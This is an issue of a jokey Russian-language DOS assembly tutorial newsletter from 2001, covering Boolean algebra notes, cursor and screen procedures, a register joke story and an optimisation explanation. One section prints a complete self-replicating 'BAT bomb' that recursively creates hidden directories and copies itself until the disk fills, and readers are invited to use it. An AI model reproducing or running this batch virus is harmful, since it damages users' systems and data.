Воробьёвы

(-:

№18. И снова программируем

КОЛОНКА РЕДАКТОРА

М-да, народ... Просили мы вас: "кто чего не понял в предыдущих номерах - мыльте! Попытаемся объяснить еще более популярно!". Ага... разогнались... НИ ОДНОГО ПИСЬМА :).

С одной стороны это, конечно, хорошо - народу типа все понятно!

Но с другой стороны (да перевернется в гробу Станиславский) - не верю я этому! Скорее всего - народу просто пофиг.

Ну, не будем кряхтеть и утешимся все же первым.

"Народ все понял! Ура!"

Ах, как легко в это верится! Особенно когда поверить так хочется...

Ладно... хватит словоблудия, поехали дальше...

ВДОГОНКУ К ПРОШЛОМУ НОМЕРУ

Братья и сестры!! Как говориться, и на старуху бывает порнуха... :). Вот вам критика/примечания/замечания/дополнения/мысли вслух (by DZ^2 AlexFru) к двум статьям нашего основного критика (утомленного чаем DZ^2 Хемуля Советикус:)

1. Очень важно представлять всё, о чём идёт речь наглядно. Ничего особенно сложного в этом всём нету, кроме того, что кажется немножко закручено, наворочено, заумно. Понимаю, что в книжке красиво написано, но, поскольку аудитория у нас очень богатая, надо бы понаглядней и, по возможности, с минимумом умных слов. Народу нужно привыкнуть к словечкам типа: конъюнкция, дизъюнкция, импликация, и въехать в то, что за каждым словом стоит. Только тогда они смогут этими словечками пользоваться.

2. Продолжаем про наглядность... Можно было нарисовать диаграммы Венна (Venn diagrams) - пересекающиеся кружочки, каждый из которых представляет собой один из аргументов функции. Составить различные ф-ции, нарисовать для них те же самые кружочки и заштриховать область, которая указывает на значение функции. Из этих диаграмм очень наглядно всё можно видеть, и врубиться во все эти правила логики более просто/наглядно/натурально... Также из них очевидно следуют и доказательства всех тех теорем булевской алгебры.

Иначе жутко и сухо.

3. Там была такая строчка: "not (x1 or x2) = not x1 and not x2". До неё все, кажется, было выдержано аккуратно, со скобками...

Очень много путаницы у людей возникает с порядком вычисления логического выражения, т.к. привыкли иметь дело только с +-*/, а тут ещё что-то... Было бы неплохо определить порядок вычисления, приоритеты функций (что обычно однозначно делается в языках высокого уровня и документируется в файле помощи или в соответствующей книжке). Если не определять приоритетов этих операторов, то лучше однозначно обозначить последовательность вычислений скобками: not (x1 or x2) = (not x1) and (not x2). Ведь вполне возможно, что кто-то может не подумать и фактически сделать not (x1 or x2) = not (x1 and not x2) из того, что было написано в самом начале.

4. "трюк с обменом значений двух переменных без использования третьей переменной: в C это записывается выражением "a ^= b ^= a ^= b". В графике эта функция применяется для спрайтов (точнее, она применяется для всех пикселов спрайта и картинки, на которую спрайт должен быть выведен - результат заменяет исходную картинку), поскольку её повторное применение убирает спрайт с картинки".

Если хотят быструю графику, такого трюка не делают. Затраты на этот трюк пропорциональны площади спрайта. Как возможный пример - это нормально. Но это не практично.

5. Оптимизация... Ох уж эта оптимизация... Не, не могу сказать, что там что-то в корне неправильное было написано, но что-то не шибко. Конечно, можно попробовать упростить ту штуку, применяя правила булевской алгебры. Не спорю. Но есть ещё несколько интересных вещей. Можно упрощать функции двух, трёх и четырёх аргументов наглядно, избегая всех тех длиннющих выкладок с применением правил алгебры. Это делается с помощью так называемых карт Карнанафа (Karnauph Maps).

Эх... Был бы сканнер, да времени побольше, я бы это быстро вставил с примерами и полным объяснением, но увы... :( Суть в том, что рисуется 2-мерная табличка, по осям откладываются аргументы, в ячейках значение ф-ции, которую хотим свести к минимуму логических операций. Далее значение истина - это все ячейки с единичками. Идея в том, чтобы из этой таблички выделить минимальное кол-во наиболее длинных гориз. или верт. отрезков (иногда даже прямоугольников :), состоящих из одних единичек. Разбив табличку на такие области мы можем потом легко выявить какая область кодируется каким простым выражением, в которое входят аргументы функции. Потом нужно будет просто сложить эти простенькие выражения и получится то, что нужно. Вся фишка в том, что визуально это сделать быстро, просто и очень наглядно, в отличие от формальной подстановки всех тех теорем ДеМоргана и прочей фигни. Такие дела.

Есть ещё и варианты наглядного упрощения, через 3-х и 4-х мерные кубики (не я это придумал, нашлись люди, которым это было как два пальца... и 4-х мерный кубик забацать)... Тоже наглядно, но ещё и об этом писать, наверное, нету смысла. Так для прикола привожу инфу.

О! Чуть не забыл. В жизни часто случается так, что есть несколько аргументов функции, которые не могут быть абсолютно независимы друг от друга. Например, где-то есть два крана (x и y), которые не могут быть одновременно закрыты (т.е. поток жидкости или чего там) должен всё время присутствовать... Таким образом, возможно только: x=y=0 (оба открыты); x=0,y=1 (x открыт, y закрыт) и y=0,x=1 (y открыт, x закрыт). x=y=1 (оба закрыты) - физически не возможно (краны имеют хитрую механическую связь, которая это запрещает или что-то в этом роде). Если нам будет нужно сделать некоторую ф-цию f от x и y, то в таблицах Карнафа для ячейки x=y=1 мы можем задать любое значение ф-ции f, т.к. эта ситуация, когда x=y=1 неосуществима и стало быть нам чхать на значение ф-ции в этом случае. Теперь попробуем представить себе что-то более изощрённое, чем ф-ция всего 2-х переменных... Мы можем записать в ячейки, подобные x=y=1 примера с кранами, любое число - или 0 или 1. А пишем, на самом деле, число, которое нам даёт более простое выражение для ф-ции f и графически выражается наиболее меньшим количеством наиболее больших прямоугольников, состоящих из единичек.

Весело, не правда ли? :)

6. Ну, и кроме всего прочего, любую ф-цию можно представить как сумму произведений (например, f = (x1 and x2 and x3) or (x4 and x5 and x6)) или как произведение сумм (например, g = (y1 or y2 or y3) and (y4 or y5 or y6)). Не редко and называют умножением, а or - сложением и записывают cоответственно: f = x1 * x2 * x3 + x4 * x5 * x6 или g = (y1 + y2 + y3) * (y4 + y5 + y6).

К чему я это... Если по техническим причинам, связанным с изготовлением логических интегральных схем оказывается выгоднее использовать больше элементов типа И, то ф-цию лучше разложить в сумму произведений. Если выгоднее использовать больше элементов типа ИЛИ, то раскладывают ф-ции в произведение сумм. Часто это прямо связано с топологией чипа, расположением сигнальных проводников внутри него. Очень часто это случай с программируемыми чипами типа PLA (Programmable Logic Array), PAL (Programmable Array Logic), CPLD (Complex Programmable Logic Device), FPGA (Field-Programmable Gate Array). В них определённое количество элементов И и элементов ИЛИ, которые могут соединяться электрически между собой, входами и выходами. Структура чипа и количество элементов фиксировано. И это играет роль в выборе разложения ф-ции на суммы и произведения.

Знали б вы как прикольно из подобной чепухи, типа элементов И, ИЛИ, НЕ, собирать такие штуки как ячейки памяти, регистры, сумматоры чисел, умножители. Даже целый проц можно собрать без особых проблем, только если делать на отдельных чипах, а не внутри, скажем, FPGA, то много проводов получится и места займёт кучу... Я имел удовольствие поковыряться с подобной штукой... Сделал сумматор двух чисел, устройство для вычисления логарифма по основанию 2... Жаль, что у нас в России редко кто имеет такую возможность поковыряться в этих делах и понять, как связаны меж собой логика, булевская алгебра и то, что внутри компутера...

Такие делы, братья и сёстры.

Уфф... Ну вот, решил доброе дело сделать и лишился просмотра мультика Simpsons... пропустил :((

БРЕДИСЛОВИЕ КО ВТОРОЙ ЧАСТИ КУРСА

Мы полагаем, что вы уже поняли, что значит "выучить язык ассемблера" :) и теперь с удовольствием кинете грязью в того, кто скажет вам, что это сложно ;)

Что значит "выучить язык", и что значит "программировать"? А проводите сами границы между этими понятиями! Только имейте в виду, кто скажет "выучить - значит все команды запомнить - тот дурак :((.

Слова и понятия извращать можно по-всякому. Переопределите собственный тип и носите свежеобмоченные пеленки в полной уверенности, что это носки... В моем понимании "знать ассемблер" и "изучить на ассемблере" - синонимы (хотя лингвисты могут придраться, но мне это пофиг). Согласно границам, которые провели для себя (гы... ну и для вас немножко) авторы курса, ассемблер вы уже знаете, а вот программировать на нем пока еще не умеете...

Да о чем это я, в общем-то? (Утомлен кофием, поэтому речь несвязна)? Просто хотел сообщить вам, что первая часть курса закончилась. Вооружившись справочником команд и прерываний, вы уже можете программировать под дос. Если вы внимательно штудировали предыдущие выпуски рассылки, то идеология этого дела (под дос) вам уже должна быть понятна как 2х2=100b.

С этого номера мы начинаем не "учить вас ассемблеру", а учить вас "программировать на ассемблере". Первое (мы так поняли из ваших писем) далось вам на удивление легко (хвалим нас, хвалим!), второе - намного сложнее, но мы приложим все усилия для того, чтобы и оно было "удобноваримым" (т. е. нашим "языком коммунальной кухни").

То, что было рассмотрено в предыдущих номерах - это минимум. Мы еще будем неоднократно "погружаться" во всевозможные "идеологические" темы, но по мере необходимости. Пока что займемся больше практической работой :). А именно - "стандартными процедурами", которые намного облегчат вам программирование на ентом дZенском языке...

Повторюсь еще раз (для самых одаренных): мы еще неоднократно рассмотрим и регистры, и адресацию памяти, и прочую многочисленную дрянь, но разнообразного вида "досье" вы будете получать только по мере необходимости...

Да... вот еще что... приносим свои извинения за небольшие "скачки" от одной темы к другой. Дело в том, что мы получаем от "начинающих программистов" огромную кучу писем и систематически тестируем десятку "зеленых" разного рода "домашними заданиями", на основе которых "на лету" проводим корректировку курса. Со своей стороны обещаем, что рано или поздно обязательно выйдет более упорядоченная версия курса, изучать который будет еще легче, чем наше пожизненное метание между эпосом и анусом... ик.. (м-да, явно благим матом нас вспоминаете...)

А еще неинтересный (но в тему!) анегдот чего-то вспомнился.

Ловит мужик, значит, такси. В аэропорт опаздывает... Ну и подъезжает к нему какая-то колымага... Ну а дальше такой диалог:
- Это такси?
- Такси...
- Точно такси??
- Да точно-точно...
- А если это такси, то где ваши шашечки??
- Мужик!! @#$%^ь, тебе шашечки нужны, или тебе ехать нужно??

Короче, глубокую дZенскую мысль таксист высказал...

Ладно... проехали... и поехали дальше :))

РАЗМИНАЕМ ПАЛЬЦЫ НА НЕБОЛЬШИХ (ВРЕМЕННО ГЛУПЫХ) ПРОЦЕДУРКАХ

[1] Дабы сходу "обломать" нездоровую критику, сразу предупреждаем, что нами сознательно допущена некоторая излишняя "процедуризация" исходного кода (в настоящем номере рассылки это особенно заметно). А по сему, прежде чем взяться за изучение нижеследующего материала, твердо уясните: в данном случае (как есть сейчас) дробление кода на процедуры - дурь полная. А обосновываем мы эту дурь только тем, что впоследствии будем совершенствовать эти процедуры до уровня, когда, собственно, сие "дробление" и будет обосновано.

И еще. Подобный модульный подход (это понятие немножко шире, чем просто "использование процедур") в некоторых случаях снижает быстродействие и увеличивает размер исполнимого файла, однако он же и значительно увеличивает "читабельность" исходника, что вполне обоснованно с точки зрения обучения. И с точки зрения "командной" разработки программ - тоже. (В общем, критика по этому поводу не принимается!).

Итак, для начала набиваем вот какой текст (исходник это!):

    assume CS:PROGA

    PROGA segment
    org 100h

    ;-[TESTING]---------------------------
    ;Здесь мы будем тестировать процедуры
    ;---------------------------------------
    TESTING proc
      call EXIT_COM
    TESTING endp

    ;-[EXIT_COM, V1]--------------------
    ;Завершение работы программы
    ;На входе: пофиг
    ;На выходе: нихрена
    ;Прерывания: INT 20h
    ;Процедуры: ан нэту
    ;-----------------------------------
    EXIT_COM proc
      int 20h
    EXIT_COM endp

    PROGA ends

    end TESTING 

Здесь вам все должно быть понятно. INT 20h вынесен в отдельную процедуру и только. Плюс еще какие-то нездоровые заголовки добавлены, которые и весят-то больше, чем сам код. Это нормально. После точки с запятой в исходнике вы можете писать все, что угодно. Все равно при компиляции это будет проигнорированно и, следовательно, на размер исполнимого файла не повлияет. (Точно так, как и длина "имен собственных" процедур и меток).

Мы предлагаем использовать именно такую "шапку" комментария к каждой из ваших процедур. Все очень просто. Первая строчка - это "что делает процедура". Вторая - какие ей необходимо передать параметры. Третья - какие она возвращает параметры. Четвертая и пятая, соответственно, - какие в процедуре использовались прерывания и хм... ранее написанные процедуры :). Это намного облегчит понимание вашего исходника как вами самими, так и теми, кому вы его предоставите на поругание...

Для тех, кто в танке: последующие процедуры вставляйте между процедурами TESTING и EXIT_COM - не ошибетесь :-p.

[2] Следующая процедура также основана на одном-единственном прерывании. Все, что она делает - это возвращает текущие координаты курсора.

    ;-[CURSOR_READ, V1]-------------------
    ;Возвращает координаты курсора
    ;На входе: пофиг
    ;На выходе: DH - строка, DL - столбец
    ;Прерывания: INT 10h, AH=03h
    ;Процедуры: ан нэту
    ;------------------------------------------
    CURSOR_READ proc
      push AX
      push BX
      push CX
      mov AH,3
      xor BH,BH
      int 10h
      pop CX
      pop BX
      pop AX
      ret
    CURSOR_READ endp 

Прежде всего обратите внимание на цепочку push'ей и pop'ов (далее - просто "поп"), на очередность записи в стек (AX, BX, CX) и извлечения (CX, BX, AX - обратное то есть). Все регистры, которые мы собираемся изменять внутри процедуры, должны обязательно сохраняться в ее начале и восстанавливаться в ее конце. В важности соблюдения этого правила вы еще не раз убедитесь на своем горьком опыте. Те, кто медитировал над заданием из п.4 9-го номера уже знают, о чем тут идет речь (а кто не пытался - самое время!).

Давайте посмотрим на нашу процедуру с точки зрения пушей и поп. AH мы изменяли для указания функции прерывания, которую мы хотим использовать. BH обнуляли для указания видеостраницы (пока будем только одну-единственную, нулевую, юзать). "А CX зачем" - спросите. - "Вроде мы его не трогали...". И точно, мы - не трогали. А посмотрите в описании, что в этот регистр нам засунуло прерывание в "результате" своего выполнения... Посмотрели? Оно вам надо?? То, что нам надо - координаты - засунуты в DX (DH, DL), поэтому их значения мы не сохраняем. Если бы нам нужно было получить информацию о типе курсора - мы бы запушили DX, а CX бы оставили в покое...

Что? Без пива не разобраться???

Так в чем, черт подери, дело??? Разбирайтесь под пиво!!

Вот вам еще одна аналогичная процедура, которая не определяет, а УСТАНАВЛИВАЕТ курсор в заданные коодинаты...

    ;-[CURSOR_SET, V1]---------------------------------------
    ;Устанавливает курсор в заданные координаты
    ;На входе: DH - строка, DL - столбец
    ;На выходе: нихрена
    ;Прерывания: INT 10h, AH=02h
    ;Процедуры: ан нэту
    ;--------------------------------------------------------
    CURSOR_SET proc
      push AX
      push BX
      push CX
      mov AH,2
      xor BH,BH
      int 10h
      pop CX
      pop BX
      pop AX
      ret
    CURSOR_SET endp

Если кто чего не понимает - смотрите комментарии к предыдущей процедуре (+ описание прерываний и команд! это обязательно!). Если кто не понял и предыдущую - снова отсылаю к #9 п.4...

М-да... великая сила энти гисперссылки...

[3] На основе двух предыдущих процедур мы напишем третью "курсорную" :), которая будет сдвигать курсор на одну позицию вправо

    ;-[CURSOR_RIGHT, V1]-------------------------------------
    ;Перемещает курсор на одну позицию вправо
    ;На входе: пофиг
    ;На выходе: нихрена
    ;Прерывания: ан нэту
    ;Процедуры: CURSOR_READ, CURSOR_SET
    ;--------------------------------------------------------
    CURSOR_RIGHT proc
      push DX
      call CURSOR_READ
      inc DL
      call CURSOR_SET
      pop DX
      ret
    CURSOR_RIGHT endp

А здесь очень простая идеология :)). Из двух процедур мы собрали третью :)). Вызвали CURSOR_READ, получили в DX текущие координаты курсора. Ту координату, что столбец (DL, младшая часть DX), увеличили на единицу. А потом вызвали процедуру CURSOR_SET, которая у нас устанавливает координаты курсора. Новые координаты в нее передаются опять таки через тот же DX. Улавливаете??

Естественно, мы запросто можем отказаться от процедур CURSOR_SET и CURSOR_READ и решить данную задачу внутри одной процедуры... В общем, свой выбор вы сделаете сами. Страшна Сцилла оптимизации по быстродействию, еще страшнее - Харибда оптимизации по размеру, но тварь самая страшная - это Программер, который оптимизирует свой код по собственной "удобноваримости"... (Хм... интересно, что бы сказали по этому поводу программеры Мелкософта...)

Обратите также внимание, на push/pop DX внутри процедуры. Мы просто сдвигаем курсор вправо. ПРОСТО СДВИГАЕМ на одну позицию. То, что в DX нам надо??? Сто лет оно нам не надо... херим... А остальные регистры - еще процедурами CURSOR_SET и CURSOR_READ неоднократно "похерены". В каком смысле "похерены"?? А в таком, что состояние регистров ПОСЛЕ вызова CURSOR_RIGHT в точности такое же, как и было ДО. Хотя сами помните, что всю четверку регистров мы еще как юзали...

Вот теперь можно сделать паузу и (это мериканцы нехай свой пластмассовый твикс кушают) ПОМЕДИТИРОВАТЬ...

[4] Следующая процедура ну вааще элементарна:

    ;-[WRITE_CHAR, V1]---------------------------------------
    ;Печатает символ и переводит курсор на позицию вправо
    ;На входе: DL - код символа.
    ;На выходе: нихрена
    ;Прерывания: INT 10h, AH=09h
    ;Процедуры: CURSOR_RIGHT
    ;--------------------------------------------------------
    WRITE_CHAR proc
      push AX
      push BX
      push CX
      mov AH,9
      xor BH,BH
      mov BL,00000111b
      mov CX,1
      mov AL,DL
      int 10h
      call CURSOR_RIGHT
      pop CX
      pop BX
      pop AX
      ret
    WRITE_CHAR endp

Она символ на монитор выводит. Через 9-ю функцию 10-го прерывания. А потом (после вывода) курсор на позицию вправо перемещает. Догадайтесь сами, "путем вызова" какой процедуры... Ага, правильно :)), CURSOR_RIGHT.

Посмотрите на описание этого прерывания. Код символа должен быть в AL. А у нас в комментариях он в DL прописан. А перед INT 10h mov AL,DL нездоровый стоит. Нахрена он тут?? И правильно!! Этот mov можно удалить, и передавать значение через AL. Но я тварь вредная. Привык я, понимаете-ли, через DX передавать... привычка - сила страшная!! Лень с ней бороться... Лень, а поэтому и не буду... Кто-то в подобном мове может и более глубокий смысл найдет - наверняка найдет!! В общем - ищите сами. На блюдечке с голубой каемочкой вам это не преподнесу :)). Вредный.

mov BL,00000111b (не 07h) написано специально. Это чтоб вы посмотрели, как кодируется атрибут (фон, цвет) энтого символа. В одном из предыдущих номеров даже табличка есть, из справочника содранная...

[5] В языке "командного интерпретатора DOS" есть хорошая команда - CLS (то бишь очистка дисплея). Хорошая команда!! Кто не поленится заглянуть, внутрь command.com'а, увидят приблизительно следующее (на самом деле все чуть-чуть навороченнее, но прерывание то же):

    ;-[CLS, V1]-----------------------------------------
    ;Oчистка дисплея
    ;На входе: пофиг
    ;На выходе: нихрена
    ;Прерывания: INT 10h, AH=06h
    ;Процедуры: ан нэту
    ;--------------------------------------------------------
    CLS proc
      push AX
      push BX
      push CX
      push DX
      mov AH,6
      xor AL,AL
      mov BH,00000111b
      xor CX,CX
      mov DH,24d
      mov DL,79d
      int 10h
      pop DX
      pop CX
      pop BX
      pop AX
      ret
    CLS endp

Короче, элементарный скроллинг, только заданы максимально возможные координаты скроллируемого окошка и CX=0... в общем, окошки рисовали, помните...

[6] Тестируем, штоль?? Дописываем процедуру TESTING:

    TESTING proc
      mov DL,'*'
      call WRITE_CHAR
      call WRITE_CHAR
      call WRITE_CHAR
      call EXIT_COM
    TESTING endp 

Компилим... CLS тож тестируем... Все работает??

А теперь самое интересное :)) и благоприятно влияющее на нервную систему :). Прелесть мадульного подхода вот в чем: написали процедуру, протестировали успешно - и МОЖЕТЕ ЗАБЫТЬ нафиг, как она у вас работает, какие функции там используются, какие хитроПОПые алгоритмы там применены...

Просто смотрите на заголовок, че она делает, чего ей надобно на входе, чего возвращает... а ее "внутренности" вам глубоко фиолетовы. Работает - и ладно. Ааааaaa?? Круто?

Уф... медитируйте!!

ЕЩЕ ОДИН БАТ-ВИРУС

Кому Вавилон понравился - ловите Диггера :)). Кого интересуют клоны - ищите в RTFM_Helpers, там народ над обеими слегка извратился :))

    @echo off
    rem Digger BAT Bomb (C) AtH//HPG,8Nov97
    set ME=%0
    if not exist %0 set ME=%0.bat
    set DIR=%1
    if %1v==-vv set DIR=%2
    if %DIR%.==. set DIR=TEMP
    md %DIR%
    attrib +r +s +h %DIR%
    cd %DIR%
    copy..\%ME%>nul
    attrib +r +s +h ..\%ME%
    if %1v==-vv cd
    %0 %1 %2

Сохраните как bat-файл и юзайте наздоровье.

Касперский - параноик... хе-хе... так и напишу завтра на заборе... рядом со словом из трех букв...

И вааще :) - Linux RULEZZZ!! (А про Windows сами знаете...)

ВЕЧЕРНЯЯ СКАЗКА ДЛЯ ДZЕНСТВУЮЩИХ (АСЕЧНЫЙ ЛОГ)

- А я вообще сказочку хотел:)))
- Какую тебе сказочку еще ? ;)
- Веселую и с хеппи-эндом
- Возвращается как то ah из командировки ;)))))...
- Где там хеппи-энд???
- Там скорее будет не хеппи енд а

test al,bh
jne HappyEnd
xor al,bh ;)
- Опять ты за свое!!!!!!!!
- Угу ;) За него самое ;)))
- А русские народные? Помнишь, когда DOSа не было?
- Нуу.. Там был полный изврат, регистры были восьмибитные, пополам не делились, имена у них были простые-простые - a, b, c, d :)

Серьезно, так и было :)

- Жили они счастливо и умерли в один день...
- Ты будешь смеяться - да ;). Потому что появились шестнадцатиразрядные процы. И у них был свой набор регистров, по 16 бит в каждом :) т.е. по два байта ака одно слово. И назывались они ax, bx,cx,dx и еще много разных. И делились эти регистры на свою младшую и старшую половинку, и можно было обращаться к ним, как целиком, так и как к двум независимым переменным.. Звали их: ah al, bh bl, ch cl, dh dl :)
- ... (молчит).
- Ау ! Ты там чего пропал ? :) Медитируешь ? Сказка еще не кончилась ;)
- Вот-вот должна быть интрига. Жили братья и сестры по-разному.
- Ок, сейчас будет тебе интрига. Итак, жили себе рядом, по соседски, пара ah, старший байт, и al, младший байт и пара bh старший и bl младший. Но ah по делам службы часто отлучался, и al было скучно.. И вот однажды, когда ah в очередной раз отправился по дальнему вызову, дабы принести результат работы процедуры, а bl была занята охраной очень ценного байта, и ничего кругом не замечала, посмотрели al и bh друг на друга другими глазами..
- Нельзя ли с вами познакомиться, - спросил bh. На его языке это выглядело примерно так:

cmp al, IDYES
Но al была готова к этому, поэтому заранее сделала
xor al,al inc al

И поэтому содержала заветную единичку :)
А дальше пошли у них разговоры и обмен байтами, и чего они только не делали.. ;)
- Рисовать не умели. Знай баловаться с единичками и нулями
- А потом и вообще Камасутра началась:

and al,bh
shl al
shr bl
test al,bl
je l01
xor al,bl
rol al
jmp l02
l01:
or al,bl
rol bl
102:
Короче, веселилась парочка от души ;)
- А вот про этот бордель я уже не догадывался!!!!!!!!!!!!!
- Внезапно из командировки, уставший как собака и злой, как черт, возвращается ah. По блестящим глазам al он сразу заподозрил неладное, хотя bh уже успел слиться к себе и делал вид, что от bl он и на нибл не отходил. test al,bl - грозно спросил ah :-Е Но... Хе-хе ;) al не просто так наблюдала иногда за действиями Странного Человека и она знала, что если после test al,bl быстренько переключить zf, то все будет шито-крыто ;) Так и остался грозный ah при своих подозрениях, но поскольку работы у него было по прежнему много, al и bh еще не раз имели возможность играться друг с другом в великую Булевскую Камасутру :)) Типа ХеппиЕнд :)
- :))
RETURN
:)
О, как меня колбасит иногда :)))

Bye !

Best regards, Anastasija (aka Unicorn)
9 февраля 2001 г.,пятница, 23:11:00

ИZDРАННОЕ ИЗ RTFM_HELPERS

Воистину, правильно сформулированный вопрос - это уже половина ответа :)). Посмотрите, народ, как это сделала DZ Tatiana Kornienko :). Математическую формулировку задачи я опускаю - желающие при желании могут поднять архив RTFM_Helpers. А вот нормальную человеческую - с удовольствием цитирую :).

Блин, это ж настоящий шедевр эпистолярного жанра получился :)). Лично я с огррромным удовольствием его читал :)). Спасибо, Таня!!

... Представьте колхозный яблоневый сад. Это область нарушения. У сада есть забор - место где ограничения принимают нулевые значения. Теперь представьте пацанов в количестве 2NT штук - это сами ограничения, их местонахождение (в саду или вне) зависит от местопребывания сторожа - параметра p. Сторожу неприятны пацаны только в саду, те кто сидят на заборе ему по кумполу.

Скажу по секрету, где-то вне сада, а может быть прямо в заборе пиво нахаляву дают. И сторож мечтает туда побыстрее попасть, но долг не позволяет пока всех пацанов за забор или на забор не загонит. Он кончено может связать всех пацанов в саду и вытащить зараз всех к забору, но если их много, то ведь тяжело.

(кто не понял - это речь об использовании всех нарушенных ограничений для построения вспомогательной задачи)

И вот какое дело, пацаны наши трусоваты, ежели сторож повяжет самых крутых нарушителей - тех кто дальше в сад забрался, где яблочки повкуснее, то остальные либо останутся на месте, либо ближе к забору подвинутся. Это не значит, что те кто не был в саду за то время, пока сторож тягает нарушителей к забору, не выберутся в сад - выберутся, но не дальне чем самые храбрые из оставшихся не пойманными в саду.

Отсюда мораль, для того чтобы сторожу их всех выкинуть из сада, надо каждый раз начинать с самых наглых, тех кто дальше всего в сад пробрался.

Сторож наш тоже хитрый мужик, ему лень бегать к забору и таскать по одной компашке пацанов, трясущих самое дальнее дерево. Поэтому он старается прихватывать по максимуму пацанов - сколько силенок хватит.

(для тех кто не понял - силенки сторожа - это количество свободной памяти под процесс решение вспомогательной задачи)

Как определяется дальность пацана? А очень просто, надо у пацана спросить. А они такие честные, что даже не врут. И пока сторож не обойдет всех и не расспросит, никак ему не узнать, кого тащить в первую очередь.

Я говорила, что сторож хитрый? Так вот, подходит он к первому попавшемуся и привязывает его к своей веревке у первого узла, чтоб потом за ним не бегать. А веревка с секретом, на ней столько узлов на сколько пацанов у сторожа сил хватит.

Значит идет к следующему, если он ближе предыдущего был, то вяжет в первый свободный узел, если дальше, то перевязывает всех дальше, а этого в начале и т.д. пока веревку не заполнит. А как заполнит последнего отвязывает и см выше.

Так проверил он всех и отобрал кого тянуть к забору. Чуть не забыла, про девчонок, пацаны, они не все пацаны, их только NT штук, а остальные девчонки в джинсах. Но сторожу это по барабану. Но ведь вернуть надо награбленное. Раз уж яблоки сорваны, не гнить же им, надо сторожу у всех кого он тащит к забору отобрать яблоки. Но сторож ленив, чего он будет сразу яблоки у всех брать, а потом отвязывать и яблоки отдавать, да и сил на пацанье + яблоки не хватит. Поэтому сначала пацанов, ну и девчонок в том числе к забору, а к каждому узлу бумажку, с номером квадрата, где пацана схватил. А потом бумажки отсортировать по номерам и быстренько по этим квадратам яблоки забрать.

(Для тех кто не понял - яблоки это градиенты ограничений)

Да вот незадача - у пацанов рюкзаки, а девчонок корзины...

Я что не сказала, что сторож - робот, ну теперь сказала.

Короче на бумажке сторож записал ответ у каждого пацаненка в том числе девчонок, че искать корзину или рюкзак. А роботы они такие, че им сказали, то они и находят. В том числе и рюкзаки, где их нет, и корзины, которых нет. А сами понимаете какой яблочный сок из яблок, которые были в корзине или рюкзаке, которых и не было вообще. Одни мертвые души. короче.

Совсем память потеряла, рюкзаков и корзин у каждого по M штук (размерность параметра). Ну скажем так, рюкзак наспинный, рюкзак набрюшной, рюкзак на голову и т.п. и т.д. И корзины такие же. Бедный наш сторож устаревшей модели никак не может одновременно все типы рюкзаков нести. Он сначала пробежит соберет рюкзаки-корзины на спину, потом на брюхо и т.д. пока всех не соберет и не отдаст фруктовому заводу (вспомогательной задаче).

Попросту говоря ранжируются нарушаемые ограничения по убыванию, из них берутся первые К штук. (К - максимальная размерность для дополнительной задачи).

И чем большими пачками брать самые нарушаемые границы, тем быстрее сторож для пива доберется.

Вуаля. Предложения по улучшению принимаются, и будут рассматриваться. Но применяться будут только при существенном убыстрении процесса...

Пасиба, Таня :). С нас пиво :). Льем в модем...

АНОНС!

Ну че вам тут наобещать?? Простудифилис мы победили... Коннект - аки и раньше було - дерьмовый... Кирпичи вроде не падают... На улице - слякоть мерзкая...

Хотя... весна-то - идет :)) Помаленьку гормоны в голову постукивать начинают... (так что если с выпусками задержки будут - не удивляйтесь :)).

В общем, че-нить придумаем :)).